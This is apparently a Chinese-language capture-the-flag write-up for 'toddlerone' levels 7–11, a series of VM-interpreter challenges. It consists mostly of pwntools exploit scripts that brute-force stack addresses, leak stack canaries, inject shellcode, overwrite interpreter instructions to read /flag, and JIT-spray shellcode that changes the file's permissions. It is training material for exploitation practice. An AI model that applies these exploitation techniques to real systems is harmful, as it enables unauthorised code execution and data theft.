7ffff7fd0000-7ffff7ff3000 r-xp 00001000 00:b35 188511193 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ff3000-7ffff7ffb000 r-xp 00024000 00:b35 188511193 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffc000-7ffff7ffd000 r-xp 0002c000 00:b35 188511193 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffd000-7ffff7ffe000 rwxp 0002d000 00:b35 188511193 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffe000-7ffff7fff000 rwxp 00000000 00:00 0
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
from pwn import *
elf = ELF("/challenge/toddlerone_level7.1")
"""
op arg1(value) arg2(register)
SYS \x40 exit --0x10 read 0x08
IMM \x08
a 1
b 8
c 4
"""
shellcode_file = open("/home/hacker/exploit/level7/shellcode.bin","rb")
shellcode = shellcode_file.read()
for stack_address in range(0x7ffffffde000, 0x7ffffffff000, 0x08):
print(p64(stack_address))
p = process("/challenge/toddlerone_level7.1")
data_list = [
b'\x08\x00\x01' # IMM a= \x00
b'\x08\xFF\x08' # IMM b = \xFF
b'\x08\x21\x04' # IMM c = \x21
b'\x40\x01\x04' # read 返回值是a
b'\x08\xFF\x02' # IMM i = \xFF
]
p.recvuntil("Please input your yancode:")
payload = data_list[0] + shellcode
p.send(payload)
p.recvuntil("[+] Starting interpreter loop! Good luck!\n")
payload = b'\xFF'+ b'\xFF' * 0x18 + p64(stack_address + len(data_list[0]))
p.send(payload)
response = p.recvall().decode('utf-8')
if "pwn" in response:
print(response)
exit()
exit()
elf = ELF("/challenge/toddlerone_level7.0")
"""
STM \x80
SYS \x02 exit --0x10 read 0x04
IMM \x40
a 4
b 8
c 1
"""
stack_address = 1
shellcode_file = open("/home/hacker/exploit/level7/shellcode.bin","rb")
shellcode = shellcode_file.read()
for stack_address in range(0x7ffffffde000, 0x7ffffffff000, 0x08):
print(p64(stack_address))
p = process("/challenge/toddlerone_level7.0")
data_list = [
b'\x04\x40\x00' # IMM a= \x00
b'\x08\x40\xFF' # IMM b = \xFF
b'\x01\x40\x21' # IMM c = \x21
b'\x04\x02\x04' # read 返回值是a
b'\x20\x40\xFF' # IMM i = \xFF
]
p.recvuntil("Good luck!")
payload = data_list[0] + shellcode
p.send(payload)
p.recvuntil("[s] ... read_memory\n")
payload = b'\xFF'+ b'\xFF' * 0x18 + p64(stack_address + len(data_list[0]))
p.send(payload)
response = p.recvall().decode('utf-8')
if "pwn" in response:
print(response)
exit()
level 8
第8关跟第7关一样,但开启了canary和ASLR。所以不能采用爆破的思路解决了。观察栈空间发现 rsp+0x0000
处的内容刚好和main函数的栈基址相差 0xF8
,但我们只能显示处 &buf+0x300
之后的字节内容,无法显示之前的内容。所以只能再想办法看看返回地址后是否有其他的地址可以泄露。
果然,在 main函数返回地址处 + 8个偏移量
发现了和 rsp+0x0000
处一样的内容。rsp+0x0000
处的参数意义是 main函数argv参数的地址
。
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd2a17a3c0 (rsp+0x0000) | d8 a8 17 2a fd 7f 00 00 | 0x00007ffd2a17a8d8 |
| 0x00007ffd2a17a3c8 (rsp+0x0008) | b8 59 5b 5b 01 00 00 00 | 0x000000015b5b59b8 |
| 0x00007ffd2a17a3d0 (rsp+0x0010) | 31 0a 00 00 00 00 00 00 | 0x0000000000000a31 | <---- 这里是buf的起始地址
| 0x00007ffd2a17a3d8 (rsp+0x0018) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
from pwn import *
elf = ELF("/challenge/toddlerone_level8.1")
"""
op arg1 arg2-------op vaules register
SYS \x08 exit --0x01 read 0x20 write 0x04
IMM \x04
a 0x40
b 0x01
c 0x08
i 0x10
"""
shellcode_file = open("/home/hacker/exploit/level7/shellcode.bin","rb")
shellcode = shellcode_file.read()
p = process("/challenge/toddlerone_level8.1")
data_list = [
b'\x04\x01\x40' # IMM a= \x01
b'\x04\xFF\x01' # IMM b = \xFF
b'\x04\x31\x08' # IMM c = \x31
b'\x08\x40\x04' # write 返回值是a
b'\x04\x00\x40' # IMM a= \x00
b'\x04\xFF\x01' # IMM b = \xFF
b'\x04\x21\x08' # IMM c = \x21
b'\x08\x40\x20' # read 返回值是a
b'\x04\xFF\x10' # IMM i = \xFF
]
p.recvuntil("Please input your yancode:")
payload = data_list[0] + shellcode
p.send(payload)
p.recvline()
return_print = p.recv() # 因为yancode中的write 写入的是字节,他没有在最后增加\n,所以readline始终是读不到值的
print(return_print)
canary_value = return_print[1+8: 1+8+8]
stack_value = return_print[1+8*5: 1+8*6]
print(canary_value)
print(stack_value)
stack_value = u64(stack_value)
payload = b'\xFF'+ b'\xFF' * 0x8 + p64(u64(canary_value)) + b'\xFF'*8 + p64(stack_value - 0xF8 -0x410 + len(data_list[0]))
p.send(payload)
response = p.recvall().decode('utf-8')
if "pwn" in response:
print(response)
exit()
from pwn import *
elf = ELF("/challenge/toddlerone_level8.0")
"""
arg1 arg2 op register values op
SYS \x04 exit --0x20 read 0x10 write 0x4
IMM \x08
a 0x10
b 0x02
c 0x08
i 0x20
"""
shellcode_file = open("/home/hacker/exploit/level7/shellcode.bin","rb")
shellcode = shellcode_file.read()
p = process("/challenge/toddlerone_level8.0")
data_list = [
b'\x10\x01\x08' # IMM a= \x01
b'\x02\xFF\x08' # IMM b = \xFF
b'\x08\x31\x08' # IMM c = \x31
b'\x04\x10\x04' # write 返回值是a
b'\x10\x00\x08' # IMM a= \x00
b'\x02\xFF\x08' # IMM b = \xFF
b'\x08\x21\x08' # IMM c = \x21
b'\x10\x10\x04' # read 返回值是a
b'\x20\xFF\x08' # IMM i = \xFF
]
p.recvuntil("Please input your yancode:")
payload = data_list[0] + shellcode
p.send(payload)
p.recvuntil("[s] ... write\n")
return_print = p.recvline()
canary_value = return_print[1+8: 1+8+8]
stack_value = return_print[1+8*5: 1+8*6]
print(canary_value)
print(stack_value)
stack_value = u64(stack_value)
payload = b'\xFF'+ b'\xFF' * 0x8 + p64(u64(canary_value)) + b'\xFF'*8 + p64(stack_value - 0xF8 -0x410 + len(data_list[0]))
p.send(payload)
response = p.recvall().decode('utf-8')
if "pwn" in response:
print(response)
exit()
level 9
这一关,不再是使用栈溢出覆盖返回地址劫持控制流了。而是直接复写指令,绕过检查,然后在标准输出中打印 flag
。
from pwn import *
"""
/flag ---> 2f 66 6c 61 67
arg1 op arg2
register value
syscall
a 0x8
b 0x20
c 0x2
d 0x1
s 0x10
i 0x40
f 0x04
read 0x2
write 0x4
open 0x10
exit 0x8
"""
def format_data_list(a, b, c, read, write, stm, open_, imm, sys):
formatted_data_list = []
for item in data_list:
formatted_item = item.replace(b'\{a}', bytes([a]))
formatted_item = formatted_item.replace(b'\{b}', bytes([b]))
formatted_item = formatted_item.replace(b'\{c}', bytes([c]))
formatted_item = formatted_item.replace(b'\{sys}', bytes([sys]))
formatted_item = formatted_item.replace(b'\{read}', bytes([read]))
formatted_item = formatted_item.replace(b'\{write}', bytes([write]))
formatted_item = formatted_item.replace(b'\{open}', bytes([open_]))
formatted_item = formatted_item.replace(b'\{stm}', bytes([stm]))
formatted_item = formatted_item.replace(b'\{imm}', bytes([imm]))
formatted_data_list.append(formatted_item)
return formatted_data_list
elf = ELF("/challenge/toddlerone_level9.0")
data_list = [
b'\{a}\{imm}\x00', # imm a, 0x00
b'\{b}\{imm}\xff', # imm b, 0xff
b'\{c}\{imm}\xff', # imm c, 0xff
b'\{read}\{sys}\{a}', # read(a, b ,c) ---> return a
]
# Operation: stm=128, Registers: a=64, b=2, c=4, sys: read=8, write=16, open=4
payload_1 = b''.join(format_data_list(a=0x8,b=0x20,c=0x2,read=0x2,write=0x4,open_=0x10,stm=0x01,imm=0x02, sys=0x04))
data_list = [
b'\xff' # 填充FF位置
b'\xff\xff\xff', # 填充第1条指令
b'\xff\xff\xff', # 填充第2条指令
b'\xff\xff\xff', # 填充第3条指令
b'\xff\xff\xff', # 填充第4条指令
b'\{a}\{imm}\x00', # imm a, 0x00
b'\{b}\{imm}\x2f', # imm b, 0x2f
b'\{a}\{stm}\{b}', # stm *a = b
b'\{a}\{imm}\x01', # imm a, 0x01
b'\{b}\{imm}\x66', # imm b, 0x66
b'\{a}\{stm}\{b}', # stm *a = b
b'\{a}\{imm}\x02', # imm a, 0x02
b'\{b}\{imm}\x6c', # imm b, 0x6c
b'\{a}\{stm}\{b}', # stm *a = b
b'\{a}\{imm}\x03', # imm a, 0x03
b'\{b}\{imm}\x61', # imm b, 0x61
b'\{a}\{stm}\{b}', # stm *a = b
b'\{a}\{imm}\x04', # imm a, 0x04
b'\{b}\{imm}\x67', # imm b, 0x67
b'\{a}\{stm}\{b}', # stm *a = b
b'\{a}\{imm}\x00', # imm a, 0x00
b'\{b}\{imm}\x00', # imm b, 0x00
b'\{open}\{sys}\{a}', # open ---> return a
b'\{b}\{imm}\x10', # imm b, 0x10
b'\{c}\{imm}\x40', # imm c, 0x40
b'\{read}\{sys}\{a}', # read(a, b, c) ---> return a
b'\{a}\{imm}\x01', # imm a, 0x01
b'\{write}\{sys}\{a}', # write(a, b, c) ---> return a
b'\{a}\{imm}\x00', # imm a, 0x00
b'\x08\{sys}\{a}', # exit(a)
]
payload_2 = b''.join(format_data_list(a=0x8,b=0x20,c=0x2,read=0x2,write=0x4,open_=0x10,stm=0x01,imm=0x02, sys=0x04))
p = process("/challenge/toddlerone_level9.0")
p.send(payload_1)
p.send(payload_2)
p.interactive()
9.1 就是调整一下顺序。
from pwn import *
"""
/flag ---> 2f 66 6c 61 67
imm 0x2
stm 0x40
sys 0x10
op arg1 arg2
register value
syscall
a 0x2
b 0x40
c 0x1
d 0x10
s 0x20
i 0x4
f 0x8
read 0x08
write 0x01
open 0x10
exit 0x02
"""
def format_data_list(a, b, c, read, write, stm, open_, imm, sys):
formatted_data_list = []
for item in data_list:
formatted_item = item.replace(b'\{a}', bytes([a]))
formatted_item = formatted_item.replace(b'\{b}', bytes([b]))
formatted_item = formatted_item.replace(b'\{c}', bytes([c]))
formatted_item = formatted_item.replace(b'\{sys}', bytes([sys]))
formatted_item = formatted_item.replace(b'\{read}', bytes([read]))
formatted_item = formatted_item.replace(b'\{write}', bytes([write]))
formatted_item = formatted_item.replace(b'\{open}', bytes([open_]))
formatted_item = formatted_item.replace(b'\{stm}', bytes([stm]))
formatted_item = formatted_item.replace(b'\{imm}', bytes([imm]))
formatted_data_list.append(formatted_item)
return formatted_data_list
elf = ELF("/challenge/toddlerone_level9.1")
data_list = [
b'\{imm}\{a}\x00', # imm a, 0x00
b'\{imm}\{b}\xff', # imm b, 0xff
b'\{imm}\{c}\xff', # imm c, 0xff
b'\{sys}\{read}\{a}', # read(a, b ,c) ---> return a
]
# Operation: stm=128, Registers: a=64, b=2, c=4, sys: read=8, write=16, open=4
payload_1 = b''.join(format_data_list(a=0x2,b=0x40,c=0x1,read=0x8,write=0x1,open_=0x10,stm=0x40,imm=0x2, sys=0x10))
data_list = [
b'\xff' # 填充FF位置
b'\xff\xff\xff', # 填充第1条指令
b'\xff\xff\xff', # 填充第2条指令
b'\xff\xff\xff', # 填充第3条指令
b'\xff\xff\xff', # 填充第4条指令
b'\{imm}\{a}\x00', # imm a, 0x00
b'\{imm}\{b}\x2f', # imm b, 0x2f
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x01', # imm a, 0x01
b'\{imm}\{b}\x66', # imm b, 0x66
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x02', # imm a, 0x02
b'\{imm}\{b}\x6c', # imm b, 0x6c
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x03', # imm a, 0x03
b'\{imm}\{b}\x61', # imm b, 0x61
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x04', # imm a, 0x04
b'\{imm}\{b}\x67', # imm b, 0x67
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x00', # imm a, 0x00
b'\{imm}\{b}\x00', # imm b, 0x00
b'\{sys}\{open}\{a}', # open ---> return a
b'\{imm}\{b}\x10', # imm b, 0x10
b'\{imm}\{c}\x40', # imm c, 0x40
b'\{sys}\{read}\{a}', # read(a, b, c) ---> return a
b'\{imm}\{a}\x01', # imm a, 0x01
b'\{sys}\{write}\{a}', # write(a, b, c) ---> return a
b'\{imm}\{a}\x00', # imm a, 0x00
b'\{sys}\x08\{a}', # exit(a)
]
payload_2 = b''.join(format_data_list(a=0x2,b=0x40,c=0x1,read=0x8,write=0x1,open_=0x10,stm=0x40,imm=0x2, sys=0x10))
p = process("/challenge/toddlerone_level9.1")
p.send(payload_1)
p.send(payload_2)
p.interactive()
level 10
这个题很巧妙,没有内存溢出的漏洞。只是要利用syscalls实现的漏洞,来达到虽然只是一次syscall但是却是可以执行多个系统调用的效果。这里面不太明白的问题是,为什么将代码写到文件中,然后送入目标程序,同时进行重定向就可以。但是通过pwntool工具启动的话,就无法成功。
关键点,由于read函数返回的是读取的字节大小,下一步write写入的又要是标准输入,所以你要把flag文件大小 ls -l /flag
对应的文件描述符重定向到标准输出。
但是我用这个命令启动toddlerone_level10.0的话,flag又直接打印在控制台了,可是我之前是将标准输出定向到test文件中了啊。不明白这里为什么会出现这种问题。
/challenge/toddlerone_level10.0 < ./bin 57<&1 > ./test
from pwn import *
"""
/flag ---> 2f 66 6c 61 67
arg1 arg2 op
value register
syscall
a 0x10
b 0x01
c 0x20
d 0x8
s 0x02
i 0x40
f 0x04
read 0x8
write 0x10
open 0x4
exit 0x2
sys 0x8
imm 0x4
jmp 0x80
"""
def format_data_list(a, b, c, read, write, stm, open_, imm, sys, jmp):
formatted_data_list = []
for item in data_list:
formatted_item = item.replace(b'\{a}', bytes([a]))
formatted_item = formatted_item.replace(b'\{b}', bytes([b]))
formatted_item = formatted_item.replace(b'\{c}', bytes([c]))
formatted_item = formatted_item.replace(b'\{read}', bytes([read]))
formatted_item = formatted_item.replace(b'\{write}', bytes([write]))
formatted_item = formatted_item.replace(b'\{open}', bytes([open_]))
formatted_item = formatted_item.replace(b'\{stm}', bytes([stm]))
formatted_item = formatted_item.replace(b'\{imm}', bytes([imm]))
formatted_item = formatted_item.replace(b'\{sys}', bytes([sys]))
formatted_item = formatted_item.replace(b'\{jmp}', bytes([jmp]))
formatted_data_list.append(formatted_item)
return formatted_data_list
elf = ELF("/challenge/toddlerone_level10.0")
data_list = [
b'\x03\{a}\{imm}', # imm a, 0x03
b'\x2f\{b}\{imm}', # imm b, 0x2f
b'\{b}\{a}\{stm}', # stm *a = b
b'\x04\{a}\{imm}', # imm a, 0x04
b'\x66\{b}\{imm}', # imm b, 0x66
b'\{b}\{a}\{stm}', # stm *a = b
b'\x05\{a}\{imm}', # imm a, 0x05
b'\x6c\{b}\{imm}', # imm b, 0x6c
b'\{b}\{a}\{stm}', # stm *a = b
b'\x06\{a}\{imm}', # imm a, 0x06
b'\x61\{b}\{imm}', # imm b, 0x61
b'\{b}\{a}\{stm}', # stm *a = b
b'\x07\{a}\{imm}', # imm a, 0x07
b'\x67\{b}\{imm}', # imm b, 0x67
b'\{b}\{a}\{stm}', # stm *a = b
b'\x03\{a}\{imm}', # imm a, 0x03
b'\x10\{b}\{imm}', # imm b, 0x10
b'\x50\{c}\{imm}', # imm c, 0x50
b'\{a}\{open}\{sys}', # open ---> return a
# b'\x10\{b}\{imm}', # imm b, 0x10
# b'\x40\{c}\{imm}', # imm c, 0x40
# b'\{a}\{read}\{sys}', # read(a, b, c) ---> return a
# b'\x01\{a}\{imm}', # imm a, 0x01
# b'\{a}\{write}\{sys}', # write(a, b, c) ---> return a
# b'\x00\{a}\{imm}', # imm a, 0x00
# b'\{a}\x02\{sys}', # exit(a)
]
payload_2 = b''.join(format_data_list(a=0x10,b=0x01,c=0x20,read=0x8,write=0x10,open_=0x1C,stm=0x20,imm=0x04, sys=0x08, jmp=0x80))
with open("/home/hacker/exploit/level10/bin", 'wb') as file:
file.write(payload_2)
def redirect_fd():
# os.dup2(1, 3) # 将文件描述符 3 重定向到标准输出 (fd 1)
# os.dup2(3, 0x39) # 将文件描述符 3 重定向到标准输出 (fd 1)
os.dup2(1, 0x39) # 将文件描述符 3 重定向到标准输出 (fd 1)
p = process("/challenge/toddlerone_level10.0", preexec_fn=redirect_fd)
# 明确重定向文件描述符
p.send(payload_2)
p.interactive()
level10.1
/challenge/toddlerone_level10.1 < ./bin_2 57<&1
from pwn import *
"""
/flag ---> 2f 66 6c 61 67
imm 0x10
stm 0x1
sys 0x8
op arg1 arg2
register value
syscall
a 0x20
b 0x4
c 0x10
d 0x40
s 0x8
i 0x1
f 0x2
read 0x20
write 0x10
open 0x1
exit 0x4
"""
def format_data_list(a, b, c, read, write, stm, open_, imm, sys):
formatted_data_list = []
for item in data_list:
formatted_item = item.replace(b'\{a}', bytes([a]))
formatted_item = formatted_item.replace(b'\{b}', bytes([b]))
formatted_item = formatted_item.replace(b'\{c}', bytes([c]))
formatted_item = formatted_item.replace(b'\{read}', bytes([read]))
formatted_item = formatted_item.replace(b'\{write}', bytes([write]))
formatted_item = formatted_item.replace(b'\{open}', bytes([open_]))
formatted_item = formatted_item.replace(b'\{stm}', bytes([stm]))
formatted_item = formatted_item.replace(b'\{imm}', bytes([imm]))
formatted_item = formatted_item.replace(b'\{sys}', bytes([sys]))
formatted_data_list.append(formatted_item)
return formatted_data_list
elf = ELF("/challenge/toddlerone_level10.1")
data_list = [
b'\{imm}\{a}\x00', # imm a, 0x00
b'\{imm}\{b}\x2f', # imm b, 0x2f
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x01', # imm a, 0x01
b'\{imm}\{b}\x66', # imm b, 0x66
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x02', # imm a, 0x02
b'\{imm}\{b}\x6c', # imm b, 0x6c
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x03', # imm a, 0x03
b'\{imm}\{b}\x61', # imm b, 0x61
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x04', # imm a, 0x04
b'\{imm}\{b}\x67', # imm b, 0x67
b'\{stm}\{a}\{b}', # stm *a = b
b'\{imm}\{a}\x00', # imm a, 0x00
b'\{imm}\{b}\x00', # imm b, 0x00
b'\{imm}\{c}\x50', # imm c, 0x50
b'\{sys}\{open}\{a}', # open ---> return a
]
payload_2 = b''.join(format_data_list(a=0x20,b=0x4,c=0x10,read=0x20,write=0x10,open_=0x31,stm=0x1,imm=0x10, sys=0x8))
with open("/home/hacker/exploit/level10/bin_2", 'wb') as file:
file.write(payload_2)
def redirect_fd():
# os.dup2(1, 3) # 将文件描述符 3 重定向到标准输出 (fd 1)
# os.dup2(3, 0x39) # 将文件描述符 3 重定向到标准输出 (fd 1)
os.dup2(1, 0x39) # 将文件描述符 3 重定向到标准输出 (fd 1)
p = process("/challenge/toddlerone_level10.1", preexec_fn=redirect_fd)
# 明确重定向文件描述符
p.send(payload_2)
p.interactive()
level 11
这一关是Just In time(JIT),会将你的输入的二进制指令翻译为机器码执行,跟高级脚本语言的设计是一样的。规定了代码段、数据段。
但是可以通过短跳转的方式,跳转到原始指令的中间部分,这样可以通过可以操作的立即数部分,来自定义shellcode部分。
跳转到指令中间部分以后,还可以继续利用 jmp
指令,进行短跳转到下一个原始指令的中间部分。这样就可以实现连续的控制流。
在shellcode的编写方面,还是借鉴了之前 shellcode
关卡的部分,还是利用创建符号连接,然后使用 chmod
系统调用修改 /flag
文件权限获取 flag
文件。
from pwn import *
"""
/flag ---> 2f 66 6c 61 67
imm 0x8
stm 0x20
sys 0x4
op arg1 arg2
register value
syscall
a 0x20
b 0x1
c 0x2
d 0x10
s 0x40
i 0x4
f 0x8
read 0x20
write 0x10
open 0x1
exit 0x4
"""
def format_data_list(a, b, c, d, read, write, stm, open_, imm, sys, jmp):
a = p64(a)
b = p64(b)
c = p64(c)
d = p64(d)
read = p64(read)
write = p64(write)
stm = p64(stm)
open_ = p64(open_)
imm = p64(imm)
sys = p64(sys)
jmp = p64(jmp)
formatted_data_list = []
for item in data_list:
formatted_item = item.replace(b'\{a}', a)
formatted_item = formatted_item.replace(b'\{b}', b)
formatted_item = formatted_item.replace(b'\{c}', c)
formatted_item = formatted_item.replace(b'\{d}', d)
formatted_item = formatted_item.replace(b'\{read}', read)
formatted_item = formatted_item.replace(b'\{write}', write)
formatted_item = formatted_item.replace(b'\{open}', open_)
formatted_item = formatted_item.replace(b'\{stm}', stm)
formatted_item = formatted_item.replace(b'\{imm}', imm)
formatted_item = formatted_item.replace(b'\{sys}', sys)
formatted_item = formatted_item.replace(b'\{jmp}', jmp)
formatted_data_list.append(formatted_item)
return formatted_data_list
elf = ELF("/challenge/toddlerone_level11.0")
data_list = [
b'\{a}\{imm}'+p64(0x808), # imm a, 0x00
b'\{b}\{imm}'+p64(0x0cd), # imm b, 0x1f9
b'\{a}\{stm}\{b}', # stm *a = b
b'\{a}\{imm}'+p64(0x00), # imm a, 0x00
p64(0x00)+b'\{jmp}'+p64(0x20), # jmp * a
b'\{a}\{imm}'+p64(0x900aEBE78948666A), # imm a, nop; jmp 0xa; mov rdi, rsp; push 0x66
b'\{a}\{imm}'+p64(0x050F585A6A5E046A), # imm a, syscall; pop rax; push 0x5A; pop rsi; push 0x4
]
payload_2 = b''.join(format_data_list(a=0x20,b=0x1,c=0x2,d=0x10,read=0x20,write=0x10,open_=0x1,stm=0x20,imm=0x08, sys=0x4, jmp=0x10))
with open("/home/hacker/exploit/level11/shellcode.bin", "wb") as file:
file.write(payload_2)
p = process("/challenge/toddlerone_level11.0")
p.send(payload_2)
p.interactive()
from pwn import *
"""
/flag ---> 2f 66 6c 61 67
imm 0x8
stm 0x40
sys 0x4
jmp 0x20
op arg1 arg2
register value
syscall
a 0x20
b 0x4
c 0x1
d 0x40
s 0x8
i 0x10
f 0x2
"""
def format_data_list(a, b, c, d, read, write, stm, open_, imm, sys, jmp):
a = p64(a)
b = p64(b)
c = p64(c)
d = p64(d)
read = p64(read)
write = p64(write)
stm = p64(stm)
open_ = p64(open_)
imm = p64(imm)
sys = p64(sys)
jmp = p64(jmp)
formatted_data_list = []
for item in data_list:
formatted_item = item.replace(b'\{a}', a)
formatted_item = formatted_item.replace(b'\{b}', b)
formatted_item = formatted_item.replace(b'\{c}', c)
formatted_item = formatted_item.replace(b'\{d}', d)
formatted_item = formatted_item.replace(b'\{read}', read)
formatted_item = formatted_item.replace(b'\{write}', write)
formatted_item = formatted_item.replace(b'\{open}', open_)
formatted_item = formatted_item.replace(b'\{stm}', stm)
formatted_item = formatted_item.replace(b'\{imm}', imm)
formatted_item = formatted_item.replace(b'\{sys}', sys)
formatted_item = formatted_item.replace(b'\{jmp}', jmp)
formatted_data_list.append(formatted_item)
return formatted_data_list
elf = ELF("/challenge/toddlerone_level11.1")
data_list = [
p64(0x808) + b'\{imm}\{a}', # imm a, 0x00
p64(0x0cd) + b'\{imm}\{b}', # imm b, 0x1f9
b'\{b}\{stm}\{a}', # stm *a = b
p64(0x00) + b'\{imm}\{a}', # imm a, 0x00
p64(0x20)+b'\{jmp}'+p64(0x00), # jmp * a
p64(0x900aEBE78948666A) + b'\{imm}\{a}', # imm a, nop; jmp 0xa; mov rdi, rsp; push 0x66
p64(0x050F585A6A5E046A) + b'\{imm}\{a}', # imm a, syscall; pop rax; push 0x5A; pop rsi; push 0x4
]
payload_2 = b''.join(format_data_list(a=0x20,b=0x4,c=0x1,d=0x40,read=0x20,write=0x10,open_=0x1,stm=0x40,imm=0x08, sys=0x4, jmp=0x20))
with open("/home/hacker/exploit/level11/shellcode_2.bin", "wb") as file:
file.write(payload_2)
p = process("/challenge/toddlerone_level11.1")
# 明确重定向文件描述符
p.send(payload_2)
p.interactive()